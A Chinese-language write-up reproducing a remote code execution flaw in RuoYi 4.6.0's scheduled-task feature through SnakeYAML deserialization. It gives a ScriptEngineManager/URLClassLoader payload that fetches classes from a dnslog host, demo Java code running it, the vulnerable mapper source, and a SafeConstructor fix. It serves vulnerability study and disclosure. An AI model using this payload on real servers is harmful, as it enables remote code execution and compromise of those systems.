复现RCE （利用snakeYml反序列化）

若依版本4.6.0

触发点定时任务-添加任务

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

SnakeYmal用途：解析Y ML文件 转换成Map或者自定义对象

涉及到的问题点：反序列化漏洞，反序列过程没有检测文件内容 导致命令执行漏洞执行

复现过程：

先去dnslog申请一个域名

Payload

"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [http://h08x13.dnslog.cn/]]]]"

把里面的dnslog地址换成自己的

关键字：http、ldap、rmi

完整代码

这是正常使用时的代码

package **code.safe.yml**;  
  
import **org.yaml.snakeyaml.Yaml**;  
import **org.yaml.snakeyaml.constructor.SafeConstructor**;  
  
import **java.io.File**;  
import **java.io.FileInputStream**;  
import **java.io.IOException**;  
import **java.util.HashMap**;  
import **java.util.Map**;  
  
public class **TestSnakeYml *{*** static **Map*<*String**, **Map*<*String**,**String*>>*** *properties*;  
 static **FileInputStream** *fis* = null;  
 static **File** *file* = null;  
 static ***{*** try***{*** *file* = new File***(***"test1.yml"***)***;  
 *fis* = new FileInputStream***(****file****)***;  
 *properties* = new HashMap***<>()***;  
 **Yaml** yaml = new Yaml***()***;  
 *properties* = yaml.load***(****fis****)***;  
//   
 **System**.*out*.println***(***"pro:"+*properties****)***;  
  
 ***}***catch***(*Exception** e***){* System**.*out*.println***(***e.getMessage***())***;  
 ***}*** finally ***{*** try ***{*** *fis*.close***()***;  
 ***}*** catch ***(*IOException** e***) {*** throw new RuntimeException***(***e***)***;  
 ***}  
 }  
 }*** public static void main***(*String*[]*** args***) {* TestSnakeYml** testSnakeYml = new TestSnakeYml***()***;  
  
 ***}  
  
}***

yml文件内容

server:  
 url:  
 127.0.0.1  
 port:  
 8080  
name:  
 Tom

代码会将yml文件内容转成对应的map

代码执行结果

pro:{server={url=127.0.0.1, port=8080}, name=Tom}

payload使用之后的代码

package **code.safe.yml**;  
  
import **org.yaml.snakeyaml.Yaml**;  
import **org.yaml.snakeyaml.constructor.SafeConstructor**;  
  
import **java.io.File**;  
import **java.io.FileInputStream**;  
import **java.io.IOException**;  
import **java.util.HashMap**;  
import **java.util.Map**;  
  
public class **TestSnakeYml *{*** static **Map*<*String**, **Map*<*String**,**String*>>*** *properties*;  
 static **FileInputStream** *fis* = null;  
 static **File** *file* = null;  
 static ***{*** try***{***  
   
 **Yaml** yaml = new Yaml***()***;   
 yaml.load***(***"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [http://h08x13.dnslog.cn/]]]]"***)***;  
   
 ***}***catch***(*Exception** e***){* System**.*out*.println***(***e.getMessage***())***;  
 ***}   
 }*** public static void main***(*String*[]*** args***) {* TestSnakeYml** testSnakeYml = new TestSnakeYml***()***;  
  
 ***}  
  
}***

dnslog执行结果

有解析记录说明域名被访问 存在漏洞

表格

描述已自动生成

防护方式：

加上

**Yaml** yaml = new Yaml***(***new SafeConstructor***())***;

就会检测到内容有问题

SafeConstruct类充当了白名单的作用

漏洞源码：

***<***insert id="insertJob" parameterType="SysJob" useGeneratedKeys="true" keyProperty="jobId"***>*** insert into sys\_job(  
 ***<***if test="jobId != null and jobId != 0"***>***job\_id,***</***if***>  
 <***if test="jobName != null and jobName != ''"***>***job\_name,***</***if***>  
 <***if test="jobGroup != null and jobGroup != ''"***>***job\_group,***</***if***>  
 <***if test="invokeTarget != null and invokeTarget != ''"***>***invoke\_target,***</***if***>  
 <***if test="cronExpression != null and cronExpression != ''"***>***cron\_expression,***</***if***>  
 <***if test="misfirePolicy != null and misfirePolicy != ''"***>***misfire\_policy,***</***if***>  
 <***if test="concurrent != null and concurrent != ''"***>***concurrent,***</***if***>  
 <***if test="status != null and status != ''"***>***status,***</***if***>  
 <***if test="remark != null and remark != ''"***>***remark,***</***if***>  
 <***if test="createBy != null and createBy != ''"***>***create\_by,***</***if***>*** create\_time  
 )values(  
 ***<***if test="jobId != null and jobId != 0"***>#{***jobId***}***,***</***if***>  
 <***if test="jobName != null and jobName != ''"***>#{***jobName***}***,***</***if***>  
 <***if test="jobGroup != null and jobGroup != ''"***>#{***jobGroup***}***,***</***if***>  
 <***if test="invokeTarget != null and invokeTarget != ''"***>#{***invokeTarget***}***,***</***if***>  
 <***if test="cronExpression != null and cronExpression != ''"***>#{***cronExpression***}***,***</***if***>  
 <***if test="misfirePolicy != null and misfirePolicy != ''"***>#{***misfirePolicy***}***,***</***if***>  
 <***if test="concurrent != null and concurrent != ''"***>#{***concurrent***}***,***</***if***>  
 <***if test="status != null and status != ''"***>#{***status***}***,***</***if***>  
 <***if test="remark != null and remark != ''"***>#{***remark***}***,***</***if***>  
 <***if test="createBy != null and createBy != ''"***>#{***createBy***}***,***</***if***>*** sysdate()  
 )  
***</***insert***>***

Mapper的这里直接插入 service也没有对数据过滤 mapper也没过滤 就直接存库导致RCE